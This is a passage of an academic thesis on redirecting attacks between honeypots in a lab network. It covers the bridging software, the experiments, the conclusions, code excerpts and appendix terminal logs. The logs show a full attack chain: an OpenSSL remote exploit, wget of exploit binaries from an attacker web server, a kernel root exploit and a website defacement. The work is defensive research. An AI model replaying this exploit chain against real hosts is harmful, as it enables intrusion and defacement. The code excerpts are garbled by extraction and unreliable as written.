• honeypot2 - In attack-redirection configurations, honeywall will attempt to safely
redirect attacks from honeypot1 directed to victim to this machine.
The test network has a layout as described in Figure 4.1. Cross-over Ethernet cables
were used to connect the three network devices of honeywall directly to honeypot1, hon-
eypot2, and the laptop which acted as attacker and, through the use of VMWare, victim.
Slackware Linux 10.1 was installed on honeywall, while similarly-configured installations
of Red Hat 7.3 were placed on the two honeypots and victim. Arch Linux 0.7 was used
on the attacker laptop. Table 4.1 lists the IP addresses and operating systems used for













Network layout for the experiment
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Snort was installed on each of the machines in order to log the network activity gen-
erated by attacks from different points on the network. The Unix command, “script”,
was used to log the commands issued during each attack, as well as the output of those
commands. The Red Hat machines on the network were left unpatched, leaving them vul-
nerable to commonly used exploits against Apache/OpenSSL and the Linux kernel do brk
bug.
The honeywall for these experiments is unique in the way that it uses bridging. Nor-
mally, a bridge accepts frames on any interface assigned to the bridge, and outputs each
frame on the other interfaces assigned to the bridge. This happens at the data-link layer,
and typically bridges of this nature are transparent to higher layers, such as IP. For attack
redirection, it is desirable for the bridge to be able to “selectively bridge”. In the Linux ker-
nel, however, there appears to be no way to selectively output frames on specific interfaces
belonging to a bridge based on the incoming interface and higher-level information (such
as IP addresses). Similar functionality is available, and referred to as “brouting” (bridged
routing), but involves bringing the data up to the IP layer, where it is routed over specific
interfaces with actual IP addresses. This is undesirable for the selective bridging needed
for a redirecting honeywall, since the honeywall needs to always remain as transparent as
possible to the attacker and honeypot machines.
To overcome this limitation for the sake of these experiments, software was written to
perform the specific kind of bridging needed in “user-space”. While, for performance and
integration reasons, it would be better to implement such things in the kernel, it was con-
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venient to develop user-space software for bridging, for easier debugging, modification,
and use from within other software written for the experiments. Implemented as a C pro-
gram, WUB (“Weird” User-space Bridger), utilized the pcap and dnet libraries to receive
and send Ethernet frames on the various interfaces of honeywall. A patch to pcap had to
be applied to allow it to record the “direction” of a frame: either coming into the interface
or being sent out. This prevented WUB from entering loops, re-sending packets it had
already sent and re-sniffed. Each interface typically has an instance of WUB running on
it. On execution, WUB reads a configuration file that describes the interfaces that it will
bridge that interface to, as well as a list of IP addresses that it will “redirect”, meaning that
it will send any frames containing IP packets for those addresses to a specified interface
(and no other interface).
To decide when it is appropriate to redirect, and to dynamically make changes to
WUB’s bridging, a program was written in Python called watchalerts.py. While Snort
executes on the honeywall detecting attacks occurring on the network, watchalerts.py fol-
lows the alerts file generated by Snort. When an attack is detected (a regular expression
matching alerts generated by the attacks used in this experiment is hard-coded in), the pro-
gram attempts to determine if the target is one of the honeypots, or an “outside” machine.
If the target is not a honeypot, then the process of redirecting the endpoint of communi-
cations from the target to another honeypot begins. First, an Ethernet frame containing
a UDP packet with specific source and destination IP and port numbers is crafted. The
payload of this frame contains the attack target’s IP address, and it is sent to the machine
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that will serve as the new target of attacks to that IP address. This is similar to how Sebek
transmits data back to the honeywall in a traditional honeynet. The program then makes
changes to the WUB instances’ configuration files to cause all frames destined for the tar-
get IP address to be bridged to the second honeypot, and not the interface that would lead
to the true target.
The honeypot that takes on the IP address of targets, in order to redirect attacks, also
runs a small Python program that listens on the honeypot’s network interface for packets
like those sent by watchalerts.py. Once one of these specially crafted UDP packets is
received, the new target IP address is retrieved from the payload and the program then
reconfigures the network device to take on that IP address. To resolve any issues with
the other honeypot having ARP table entries pointing at the incorrect MAC address, the
program then sends a small number of ICMP ping requests to the other honeypot.
Small scripts were also written in order to reset the configuration of each machine on
the network between experiments. This includes removing exploits previously transferred
to targets, as well as reconfiguring IP addresses and bridging back to their original states.
A basic web server was also implemented in Python to facilitate the transfer of exploits
from attacker to other computers on the network.
The network can take on one of three configurations:
• Normal - No honeywall controls in place. Bridging occurs normally between the
interfaces of honeywall. This configuration represents the attacker’s ideal situation,
where the attacks will perform as expected, with the desired outcome.
• GenII Honeynet - Once an attack on a non-honeypot machine originating from a
honeypot machine is detected by Snort, all further communication between the hon-
eypot and the target is blocked in order to prevent the attack from proceeding.
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• Redirecting Honeynet - Once an attack on a non-honeypot machine originating from
a honeypot machine is detected by Snort, the bridging rules and second honeypot IP
address are reconfigured in order to redirect connections destined for the target to
the second honeypot.
A caveat of redirection is that current connections to the real target are dropped when
traffic is redirected to another host. It would be difficult to smoothly transition a connec-
tion in progress to another host, as it would involve having to buffer an arbitrarily large
amount of data about the connection before redirection, and then blocking the attacker for
a potentially large amount of time as the data is “replayed” to the honeypot to reach the
same state (which may not even be possible in some instances. It is, however, common on
the Internet to experience packet loss and dropped connections, especially in the context
of occasionally unreliable exploit code, so it is assumed that the attacker’s suspicions will
not be raised too high, when the (new) target responds well after the dropped connection.
4.3 Attack Description
Two different attacks were executed against each of the network configurations: a human
driven attack, and an attack designed to simulate a segment of the spread of autonomous
malware (such as worms). The technical details of these attacks are based on real attacks
witnessed on honeypots deployed in previous research.
4.3.1 Human-Driven Attack
This attack is executed interactively by the investigator, each command being a step to-
wards the ultimate goal of defacing the web site on victim. A human attacker is capable
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of analyzing the output of commands in order to determine what actions to take next, or
how to react to, or investigate, that occur. The intent of the attacker is to use an intermedi-
ate computer, honeypot1 in the process of attacking victim, in order to hide the attacker’s
identity from victim.
The Apache/OpenSSL exploit, “openssl-too-open” is used to gain access to the first
computer, honeypot1. Next, the same exploit is downloaded to honeypot1’s temporary
directory and executed with victim as the target. Once shell access to victim is attained,
it is elevated to root access by retrieving the kernel do brk exploit, hatorihanzo (hh), and
executing it. Once root access has been obtained, the main web site hosted by victim is
defaced to read simply “Hacked”.
4.3.2 Autonomous Malware Attack
This attack is executed in an automated fashion, from a very basic script that, in contrast
to the human attacker, does not have much capability to reason or deal with anomalies
that occur during the course of the attack. With this attack, it can be seen how effective
redirection is for the study of new malware, by studying how the logged data compares to
the “normal” and “GenII” attack data captures.
This script uses the Python “pexpect” module to automate the usage of “openssl-too-
open” against honeypot1, transferring it to the temporary directory and executing it again
from there to exploit victim. Once victim is compromised, a file entitled “backdoor test”
is created on the victim filesystem to represent the malware payload.
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4.4 Experiment
Initially, the attacks were be executed on a configuration that does not attempt to block,
limit, or redirect the attacker in any way. This was to simulate how the attack would
execute in the attacker’s ideal situation, with no honeypot interference. All packet data for
each attack was logged, as well as logs of the terminal input and output for each attack
session. This gives a detailed view of how each attack executed, as well as a view of how
it appeared to execute to the the attacker.
The configuration was then set up as a traditional GenII honeypot that attempts to
detect out-bound attacks and block. Once an attack is blocked, the attacker attempted to
determine if victim has gone down. This may give an attacker some clue as to the status of
controls put into place by an otherwise invisible honeywall. All packet and terminal data
for these attacks were logged for comparison with other environments.
Once the attacks were run on a traditional configuration, that configuration was changed
to one in which the honeywall attempted to detect out-bound attacks from honeypot1 and
redirected connections that were out-bound to the target over to honeypot2. The human at-
tacker was capable of dealing with anomalies and different techniques needed to launch a
“successful” attack in this case.. All packet and terminal data were logged for comparison
with the other environments.
All three environments have had the attacks executed on them, and the resulting data
are compared on a set of criteria:
• Did the attacks succeed in compromising the victim machine?
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• What anomalies occurred during the attack process?
– How intrusive were the anomalies on the progression of the attack?
– Was it possible to investigate and determine the cause of the anomalies?
• How much of the planned attack can be discerned from the data logged?
The benefits and drawbacks to redirection techniques relative to existing techniques








This attack on the normal configuration of the test network demonstrates the attacker’s
ideal sequence of events, or, how it “should” work in the absence of honeypot interference.
Currently, only a very small percentage of hosts on the Internet are deployed as honeypot
systems, so the frequency with which an attacker has to deal with honeypot systems is also
low. Given a set of vulnerable systems, which the attacker has scanned for and recorded
the presence of, this attack represents how an attacker might deface an organization’s web
site, and do so with a degree of anonymity by chaining his or her attack through one or
more intermediate hosts.
Examining the terminal session log, it can be seen that the attack begins with the
execution of an exploit against honeypot1 (in name only, in this configuration, there are no
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data controls in place on the honeypot systems). The exploit, entitled “openssl-too-open”,
takes advantage of a vulnerability in OpenSSL v0.9.6d and below running on Apache web
servers. When the exploit is successful, a bash prompt on honeypot1 with the privileges of
the user “apache” is presented to the attacker.
The attacker spawns another bash shell in order to stop “readline” from warning the
user that terminal settings cannot be retrieved every time the attacker types a command. In
this new bash shell, the attacker changes directories to /tmp/, which is writable by all users
on the system, including “apache”, and retrieves a copy of “openssl-too-open” from a web
server hosted on the attacker’s machine (although it could feasibly be hosted anywhere
accessible by honeypot1).
Once this “openssl-too-open” exploit is in place on the intermediate host of the attack,
honeypot1, the attacker makes the exploit executable, and runs the exploit against victim,
the intended target of the attack. This gains the attacker a bash shell on victim in the
same way that the previous execution of the exploit gained a shell on honeypot. A similar
procedure is followed by the attacker on victim, spawning a new bash shell and changing
to /tmp/, however this time, instead of retrieving “openssl-too-open” again, the attacker
retrieves a file named “hh”. This file is a version of the “hatorihanzo.c” exploit of the
Linux kernel do brk vulnerability (in versions 2.4.22 and prior) compiled for Red Hat 7.3.
The purpose of this exploit is to gain the root access needed to deface the web site
hosted on victim, which is located in /var/www/html and is owned by the “root” user
(meaning that the current “apache” user is unable to make modifications). The exploit is
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executed and the results are verified by the “whoami” command, which reports that the
current user is “root”. The attacker then changes to the /var/www/html directory, makes
a backup copy of index.html as index.bak (attackers often leave backup copies of defaced
web sites to make it “easier” for web administrators to recover), and changes index.html
to contain “¡html¿Hacked¡/html¿”.
Now that this goal has been reached, the attacker removes the “hh” exploit from victim.
Next, the attacker removes “openssl-too-open” from honeypot1, and ends sessions on both
compromised machines. Finally, the attacker retrieves the web page from victim to verify
the success of the attack.
Packet logs from the perspective of attacker, honeypot, and victim were kept in order
to compare them to the packet data logged in other configurations’ attacks. As expected,
the attacker and honeypot packet logs contained data about all steps of the attack, while
the victim packet logs contained information about the attack starting at the point when the
attacker attempted to exploit victim.
5.1.1.2 GenII Honeypot Configuration
This attack shows how the sequence of events deviates from what the attacker expects
when honeypot data controls are put in place to prevent honeypot systems from being used
to compromise non-honeypot systems. The honeywall in this case detects and blocks the
second phase of the attack (in which the attacker runs “openssl-too-open” against victim).
43
This abruptly brings an end to the attacker’s plan to use honeypot1 as a hop on the way to
defacing victim’s web site.
The attack begins as it did on the normal configuration, with the “openssl-too-open”
exploit being launched against honeypot1. The attacker changes directories to /tmp/, re-
trieves the same exploit from the attacker’s web server. The attacker then makes the exploit
executable and then proceeds to attempt to exploit victim with “openssl-too-open”.
At this point, Snort, running on honeywall detects the OpenSSL exploit and generates
an alert that causes all access to victim from honeypot1 to be blocked. To the attacker, it
appears that the session from honeypot1 to victim has stalled, although this is only obvious
after a few commands have been attempted (“cd /tmp”, “ls”, and “whoami”). To regain
control, the attacker hits Ctrl-C, which also closes the session to honeypot1 (the OpenSSL
exploit does not provide very robust or featureful access to client terminal settings to the
server).
Before connecting back to honeypot1, the attacker attempts to determine if victim has
gone down (some exploits are known for destabilizing or crashing machines) by pinging it.
Victim responds to pings from attacker, so the attacker attempts the attack again, starting
over with exploiting honeypot1. Once access to honeypot1 is regained, the attacker pings
victim again before retrying the OpenSSL exploit. Victim does not respond to this ping,
therefore the attacker becomes aware that some form of control (IDS on victim or honeypot
data control) is preventing the attack, and must now find some other host to use as an
intermediary.
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The packet logs for victim reveal that the second-phase attack on victim was blocked
by honeywall before the attacker could compromise it. The attacker and honeypot1 packet
logs show the activity leading up to blocking of access to victim and the attacker’s realiza-
tion of this. If the attacker were to move on to another intermediary host afterwards that
was not a honeypot on the network, this network’s honeypot packet logs would obviously
not capture the rest of this attack. Not only is the rest of the intended attack missing from
this packet and terminal data, the true goal of the attack (defacing victim’s web site) is not
apparent.
5.1.1.3 Redirecting Honeypot Configuration
This data shows how an attack can be safely redirected to another host, and allowed to
continue, albeit with some anomalies that the attacker can overcome. In this situation,
the honeywall detects the second phase of the attack (the use of the OpenSSL exploit
against victim). However, instead of blocking the attack as in the GenII configuration, the
redirecting configuration changes the IP address of honeypot2 to match victim and begins
to bridge all packets from honeypot1 to victim exclusively to honeypot2. This allows the
attack to continue to its intended completion by the attacker.
This attack begins in the same way as the attack on the normal configuration, with
an OpenSSL exploit attack against honeypot1. Once a shell is gained on honeypot1 and
the exploit is retrieved, the attacker begins the second phase of the attack by launching the
OpenSSL exploit again, targeting victim. Then, much like in the GenII configuration, Snort
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on honeywall detects the attack and generates an alert. The difference is that this time, a
script on honeywall matches this alert and executes, reconfiguring bridging on honeywall’s
interfaces in order to make further connections to victim from honeypot1 actually result
in connections to honeypot2. A specially crafted UDP packet is sent to honeypot2 as
well, to inform it that it needs to reconfigure its network device to listen on victim’s IP
address. Once the address is reconfigured, honeypot2 pings honeypot1 10 times to ensure
that honeypot1’s ARP tables are pointing at the correct machine.
All of this happens very quickly, and results in the currently established connection to
the real victim to close with the error message “Error in read: Connection reset by peer”.
Packet-loss and dropped connections are common on the Internet, therefore, this in and
of itself is not necessarily cause for alarm to the attacker. The attacker follows up on this
error by pinging victim (which from this point on is now honeypot2), which is successful!
The attacker continues with the attack as normal, using the OpenSSL exploit to gain access
to the (“fake”) victim.
An issue arises though, once the attacker attempts to retrieve the “hh” exploit used
to gain root access to victim. With the real victim’s IP address, it is not possible for the
false victim to directly communicate with the attacker. Therefore, attempts to retrieve the
“hh” exploit from the attacker’s web server fail. The attacker, at this point, has a number
of options for working around this limitation. For example, the attacker may re-use the
current connection through honeypot1 to transmit the exploit, or the attacker may place the
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exploit on honeypot1’s web server to be retrieved by the false victim. In this situation, the
attacker does the latter, and manages to transfer “hh” to the false victim.
Once there, the attacker executes the exploit to gain root access, and goes through the
normal process of backing up the web page and defacing it. If the attacker verifies the
change of the web page from the honeypot1 computer, it appears to be defaced as it did
in the normal configuration, however if the attacker attempts to verify it from the attacker
computer, the real victim web site will appear untouched. This is of little consequence to
the operator of the honeypot network, however, as the attack had run its course completely
before the attacker would realize that they had not hacked the right machine. At this point,
the most useful data about the attack would have been logged.
Packet logs for the real victim confirm that the attack never got any further on the
intended target than it did in the GenII configuration. Packet logs for the attacker and
honeypot computers contain all data about this attack from start to finish, comparable
to data collected in the normal configuration. Therefore, this redirecting configuration
represents a possible best-of-both-worlds in which the victim of an attack may stay safe,
while valuable profiling information can be gathered as if it were an unrestricted attack.
5.1.2 Autonomous Malware
5.1.2.1 Normal Configuration
This attack on the normal configuration simulates the spreading activity of an autonomous
piece of malware on a network. More specifically, the malware attempts to compromise a
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host, retrieve a copy of its own exploit (the same “openssl-too-open” exploit used in the
human attacker experiments), utilize it to compromise a second host, and then create a
file on the final victim’s filesystem to represent the malware’s “infection” or backdooring
of the victim computer. The script used to automate this attack was written in Python
for ease of development, modification, and illustration of the attack to others. Typically,
however, malware is usually either written in a very tight amount of assembly code, or in
an application level scripting language.
From the malware source code and packet logs, one can see that the malware begins
on attacker by executing the OpenSSL exploit against honeypot1 (without honeypot data
controls active on honeywall). Once access is gained to honeypot1, the malware acts sim-
ilarly to the human attacker, switching to a writable directory, retrieving the exploit, and
making it executable. The exploit is then executed against victim, where it gains access,
switches to a writable directory, and creates the file, fulfilling the malware’s goal.
This all happens very quickly, relative to the human attacker’s commands issued by-
hand. In fact, a delay had to be introduced in the script to wait for the execution of the
OpenSSL exploit to complete. Again, much like the human attacker experiment on the
normal configuration, the packets logged on attacker and honeypot1 reflected the entirety
of the intended attack, while victim’s packet logs reflected its own compromise.
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5.1.2.2 GenII Honeypot Configuration
The same malware executed on a GenII honeypot configuration demonstrates how data
controls may be used to prevent the spread of malware from honeypot machines to non-
honeypot machines. Malware typically employs very simple spreading mechanisms, trad-
ing error compensation for the quick spread to a larger number of hosts. Therefore, in
these experiments, the malware makes no attempt at “working around” anomalies in the
attack process, as human attackers tend to.
In this case, it can be seen from the terminal session log from when the malware was
executed, that an error occurs when the malware attempts to launch the OpenSSL exploit
against victim from the honeypot1 machine. This error is the result of the malware “timing
out” waiting for the bash shell prompt to appear from the exploitation of victim. At this
point, the malware prematurely exits, and the attack is over, stopped dead in its tracks by
Snort alerts triggering data-controls on honeywall.
The packet logs verify that the attack against victim was stopped short of any harm
coming to it. The packet logs of attacker and victim also show the attack up until the point
of blockage. No logs reveal the final steps of the malware’s attack in this instance.
5.1.2.3 Redirecting Honeypot Configuration
This execution of the malware demonstrates how a simply-programmed piece of malware
might react to a situation in which the target of its spread is being redirected to another
computer. The malware’s behavior in this case is interesting, in that it completes its exe-
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cution, however it does so in a way that was not intended. This shows that it is largely up
to how the specific malware is programmed that determines how it will react to varying
data control mechanisms.
Due to the redirection process dropping the connection between honeypot1 and victim
the session returned to a bash prompt. Expecting the bash shell prompt of victim, the
malware sees the return of honeypot1’s prompt incorrectly as the victim prompt. The
malware proceeds to create its goal file on honeypot1 and exit.
Packet logs verify that victim is not compromised in this situation. However, honeypot2
(which took on the IP address of victim), also did not get compromised. Packet logs on
honeypot1 and attacker reveal the full story of what happens during this attack.
CHAPTER VI
CONCLUSIONS
The purpose of this chapter is to revisit the hypothesis of this research, as well as the
research questions designed to support or refute the hypothesis. The results obtained by
the experimentation described in previous chapters are used to answer these questions.
The hypothesis of this research is:
A set of honeypots can be constructed in such a way that their detection be-
comes more difficult for an attacker, and their interaction will immerse an
attacker for a longer period of time than would a single honeypot.
The following questions were also presented in the introduction:
1. Can attacks from honeypot systems to non-honeypot systems be reliably and safely
redirected to other honeypots?
2. Is it possible to redirect attacks in such a way that is relatively transparent to both
human and autonomous attackers?
3. Does attack redirection result in more or less useful data about an attack’s profile
than other forms of honeypot limitations?
The results of the experimentation on both human and autonomous attackers show that
attacks can be safely redirected to other honeypots. The act of redirection, as it has been
implemented in this research, prevents traffic from flowing from a honeypot machine to a
non-honeypot machine after an attack has been detected on that non-honeypot machine.
By bridging all traffic destined for the victim to another honeypot, including traffic not
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directly related to the attack, it becomes difficult for the attacker to then use the compro-
mised honeypot to attack other non-honeypot systems. The reliability of the redirection
actually occurring in the event of an attack is dependent on the ability of the IDS to detect
the attack and generate an alert, which is the case for all current honeypot data control
methods. In cases where the redirection is not successful in allowing an attack to continue
against a second honeypot, it will still safely protect non-honeypot systems.
The results also show that it is possible to redirect in a way that is relatively transparent
to attackers, especially human attackers. While it is difficult to redirect completely trans-
parently in the middle of a TCP session, dropping current connections does not prevent the
attacker from restarting the dropped session. This is especially true for human attackers,
who can observe errors, and react to them. Autonomous malware may or may not proceed
if errors occur in redirection, depending on how they are programmed to handle error.
The results make it very clear that redirection can result in more useful data about an
attack that can be used in profiling. Generation II honeypot data control techniques, for the
sake of outside system safety and liability, halt the progression of an attack in ways that
drive attackers to find other systems to use. With redirection, attacks can continue safely




This thesis presents techniques that may be used in the deployment of honeypot systems
in both research and production environments to increase the amount and value of data
generated by attacks. With more knowledge of how an attack progresses, especially if that
knowledge includes the end goal or motive, better profiles of attacks and attackers can
be built by security researchers. Organizations can use these profiles to more effectively
construct defenses against likely threats.
6.2 For Further Research
The techniques discussed in this thesis should be extended across a wider range of vul-
nerabilities and tested against more attacks. The software written to perform redirection
should be integrated into current IDS and honeypot software to improve performance and
reliability. Finally, a honeynet utilizing these techniques should be deployed on a small
network for testing by a number of attackers, and later, deployed on the Internet.
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unsigned long rd ip[20];
char rd if[20][20];
int num interfaces = 0;
int num redirections = 0;
eth t *eth dev[10];
void got packet(u char *args,
const struct pcap pkthdr *header, const u char *packet)
{
unsigned long destination;
struct in addr temp addr;
int i,j;
int redirected = 0;
if(packet[12] == 0x08 && packet[13] == 0x00)
{
memcpy(&destination,&packet[0x1e],sizeof(unsigned long));
temp addr.s addr = destination;
for(i=0;i<num redirections;i++)
{



































struct in addr temp addr;
int i;
pcap t *handle;
char errbuf[PCAP ERRBUF SIZE];
/*
* Read in the configuration file
*/
fp = fopen(argv[2],"r");
fscanf(fp,"%s",temp str); /* Throw out “[interfaces]” */








status = fscanf(fp,"%s",temp str); /* Grab first redirection IP */
while(status != EOF)
{
inet aton(temp str,&temp addr);
rd ip[num redirections] = temp addr.s addr;
fscanf(fp,"%s",temp str); /* Grab redirection interface */
strcpy(rd if[num redirections],temp str);
num redirections++;












printf("Redirect 0x%x to interface %s\n",rd ip[i],rd if[i]);
}
/*




eth dev[i] = eth open(interfaces[i]);
}
/*
* Set up pcap
*/
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frame += ’\x00\x11\x11\x09\xEA\xEB’ # Destination MAC
frame += ’\x00\x08\x74\x4A\x2E\x1E’ # Source MAC
frame += ’\x08\x00’ # Type (IP)
# IP
frame += ’\x45\x00’
frame += ’\x00\x00’ # Total Length
frame += ’\x8c\xF3\x40\x00\x40’
frame += ’\x11’ # Protocol (UDP)
frame += ’\x0B\x3C’ # Header checksum
# UDP
frame += socket.inet aton(’198.162.1.6’) # Source IP
frame += socket.inet aton(’198.162.1.7’) # Dest. IP
frame += struct.pack(’H’,socket.htons(1337)) # Source Port
frame += struct.pack(’H’,socket.htons(1337)) # Dest. Port
frame += struct.pack(’H’,socket.htons(138)) # Length









wub0 = os.spawnlp(os.P NOWAIT, ’/root/redirect/wub’, ’wub’,
’eth0’, ’/root/redirect/config.eth0’)
wub1 = os.spawnlp(os.P NOWAIT, ’/root/redirect/wub’, ’wub’,
’eth1’, ’/root/redirect/config.eth1’)
wub2 = os.spawnlp(os.P NOWAIT, ’/root/redirect/wub’, ’wub’,
’eth2’, ’/root/redirect/config.eth2’)
print str(wub0) + ’ ’ + str(wub1) + ’ ’ + str(wub2)
while 1==1:
line = sys.stdin.readline()












fp.write(ip + ’ eth2\n’)
fp.close()
fp = open(’/root/redirect/config.eth2’,’a’)
fp.write(ip + ’ eth1\n’)
fp.close()
fp = open(’/root/redirect/config.eth0’,’a’)
fp.write(ip + ’ eth1\n’)
fp.close()
os.system(’kill -9 ’ + str(wub1))
wub1 = os.spawnlp(os.P NOWAIT,’/root/redirect/wub’,
’wub’,’eth1’,’/root/redirect/config.eth1’)
os.system(’kill -9 ’ + str(wub2))
wub2 = os.spawnlp(os.P NOWAIT,’/root/redirect/wub’,
’wub’,’eth2’,’/root/redirect/config.eth2’)
os.system(’kill -9 ’ + str(wub0))










source port = 1337
dest port = 1337
dest mac = ’\x00\x08\x74\x4A\x2E\x1E’
p = pcap.pcap(’eth0’)
for ts, pkt in p:
if pkt[0x06:0x0C] == dest mac and
pkt[0x24:0x26] == struct.pack(’H’,socket.htons(1337)) :
os.system(’ifconfig eth0 down’)
os.system(’ifconfig eth0 ’ + socket.inet ntoa(pkt[0x2A:0x2E]))
os.system(’ifconfig up’)






intermediate hop = ’honeypot1’
target = ’victim’

























Script started on Sun 10 Jul 2005 12:15:27 PM CDT
[weasel@nomad exploit]$ ./openssl-too-open -a 0x0b honeypot1
: openssl-too-open : OpenSSL remote exploit
by Solar Eclipse <solareclipse@phreedom.org>
: Opening 30 connections
Establishing SSL connections





ciphers: 0x814a380 start_addr: 0x814a2c0 SHELLCODE_OFS: 208
Execution of stage1 shellcode succeeded, sending stage2
Spawning shell...
bash: no job control in this shell
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$
Linux honeypot1 2.4.18-3 #1 Thu Apr 18 07:37:53 EDT 2002 i686 unknown
uid=48(apache) gid=48(apache) groups=48(apache)
1:07pm up 21 min, 1 user, load average: 0.03, 0.11, 0.10
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root tty1 - 1:00pm 31.00s 0.23s 0.16s snort -b -p -L
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$








Connecting to attacker[192.168.1.4]:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 120,786 [application/octet-stream]
0K .......... .......... .......... .......... .......... 42% 400.00 KB/s
50K .......... .......... .......... .......... .......... 84% 1.11 MB/s
100K .......... ....... 100% 997.50 KB/s
13:07:54 (630.78 KB/s) - ‘openssl-too-open’ saved [120786/120786]
chmod 755 openssl-too-open
./openssl-too-open -a 0x0b victim
: openssl-too-open : OpenSSL remote exploit
by Solar Eclipse <solareclipse@phreedom.org>
: Opening 30 connections
Establishing SSL connections





ciphers: 0x814a308 start_addr: 0x814a248 SHELLCODE_OFS: 208
Execution of stage1 shellcode succeeded, sending stage2
Spawning shell...
bash: no job control in this shell
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$
Linux victim 2.4.18-3 #1 Thu Apr 18 07:37:53 EDT 2002 i686 unknown
uid=48(apache) gid=48(apache) groups=48(apache)
2:06am up 11:11, 1 user, load average: 3.80, 3.81, 3.74
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root tty1 - 11:59pm 2:01 1.16s 0.19s snort -b -p -L
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$








Connecting to attacker[192.168.1.4]:8080... connected.
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HTTP request sent, awaiting response... 200 OK
Length: 445,808 [application/octet-stream]
0K .......... .......... .......... .......... .......... 11% 537.63 KB/s
50K .......... .......... .......... .......... .......... 22% 4.88 MB/s
100K .......... .......... .......... .......... .......... 34% 4.88 MB/s
150K .......... .......... .......... .......... .......... 45% 4.88 MB/s
200K .......... .......... .......... .......... .......... 57% 4.07 MB/s
250K .......... .......... .......... .......... .......... 68% 4.44 MB/s
300K .......... .......... .......... .......... .......... 80% 4.88 MB/s
350K .......... .......... .......... .......... .......... 91% 12.21 MB/s
400K .......... .......... .......... ..... 100% 34.53 MB/s








-rw-r--r-- 1 root root 2890 Apr 9 2002 index.html
drwxr-xr-x 3 root root 4096 Jun 27 08:51 manual
drwxr-xr-x 2 root root 4096 Jun 27 08:51 mrtg
-rw-r--r-- 1 root root 1154 Apr 9 2002 poweredby.png
drwxr-xr-x 2 root root 4096 Jul 7 13:04 usage
mv index.html index.bak
echo "<html>Hacked</html>" > index.html
ls -l
total 24
-rw-r--r-- 1 root root 2890 Apr 9 2002 index.bak
-rw-r--r-- 1 root root 20 Jul 8 02:08 index.html
drwxr-xr-x 3 root root 4096 Jun 27 08:51 manual
drwxr-xr-x 2 root root 4096 Jun 27 08:51 mrtg
-rw-r--r-- 1 root root 1154 Apr 9 2002 poweredby.png







drwxr-xr-x 3 root root 4096 Jun 27 14:53 screens
-rw------- 1 root root 0 Jul 7 14:56 session_mm_apache0.sem
exit
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$ cd /tmp
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$ ls -al
total 16
drwxrwxrwx 4 root root 4096 Jul 8 02:08 .
drwxr-xr-x 19 root root 4096 Jul 7 23:54 ..
drwxrwxrwt 2 xfs xfs 4096 Jul 7 14:56 .font-unix
drwxr-xr-x 3 root root 4096 Jun 27 14:53 screens
-rw------- 1 root root 0 Jul 7 14:56 session_mm_apache0.sem






-rwxr-xr-x 1 apache apache 120786 Jul 10 13:07 openssl-too-open
-rw------- 1 root root 0 Jul 10 12:52 session_mm_apache0.sem
rm openssl-too-open
exit
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$ exit
exit
Connection closed.




Connecting to victim|192.168.1.5|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 20 [text/html]
0% [ ] 0 --.--K/s
100%[====================================>] 20 --.--K/s
12:20:58 (1.00 MB/s) - ‘index.html’ saved [20/20]
[weasel@nomad exploit]$ cat index.html
<html>Hacked</html>
[weasel@nomad exploit]$ exit
Script done on Sun 10 Jul 2005 12:21:18 PM CDT
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B.1.2 GenII Honeypot Configuration
Script started on Sun 10 Jul 2005 02:16:55 PM CDT
[weasel@nomad exploit]$ ./openssl-too-open -a 0x0b honeypot1
: openssl-too-open : OpenSSL remote exploit
by Solar Eclipse <solareclipse@phreedom.org>
: Opening 30 connections
Establishing SSL connections





ciphers: 0x814a308 start_addr: 0x814a248 SHELLCODE_OFS: 208
Execution of stage1 shellcode succeeded, sending stage2
Spawning shell...
bash: no job control in this shell
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$
Linux honeypot1 2.4.18-3 #1 Thu Apr 18 07:37:53 EDT 2002 i686 unknown
uid=48(apache) gid=48(apache) groups=48(apache)
3:07pm up 57 min, 1 user, load average: 0.31, 0.48, 0.35
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root tty1 - 2:34pm 24.00s 0.26s 0.17s snort -b -p -L
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$ cd /tmp





Connecting to attacker[192.168.1.4]:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 120,786 [application/octet-stream]
0K .......... .......... .......... .......... .......... 42% 847.46 KB/s
50K .......... .......... .......... .......... .......... 84% 1.63 MB/s
100K .......... ....... 100% 1.10 MB/s
15:08:05 (1.10 MB/s) - ‘openssl-too-open’ saved [120786/120786]
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$ chmod 700 openssl-too-open
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$ ./openssl-too-open -a 0x0b victim
: openssl-too-open : OpenSSL remote exploit
by Solar Eclipse <solareclipse@phreedom.org>
: Opening 30 connections
Establishing SSL connections





ciphers: 0x814a308 start_addr: 0x814a248 SHELLCODE_OFS: 208
Execution of stage1 shellcode succeeded, sending stage2
Spawning shell...
bash: no job control in this shell
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$
Linux victim 2.4.18-3 #1 Thu Apr 18 07:37:53 EDT 2002 i686 unknown
uid=48(apache) gid=48(apache) groups=48(apache)
4:06am up 13:11, 1 user, load average: 6.36, 4.74, 4.16
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root tty1 - 11:59pm 1:21 1.35s 0.19s snort -b -p -L
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$ cd /tmp
ls
whoami
[weasel@nomad exploit]$ ping victim
PING victim (192.168.1.5) 56(84) bytes of data.
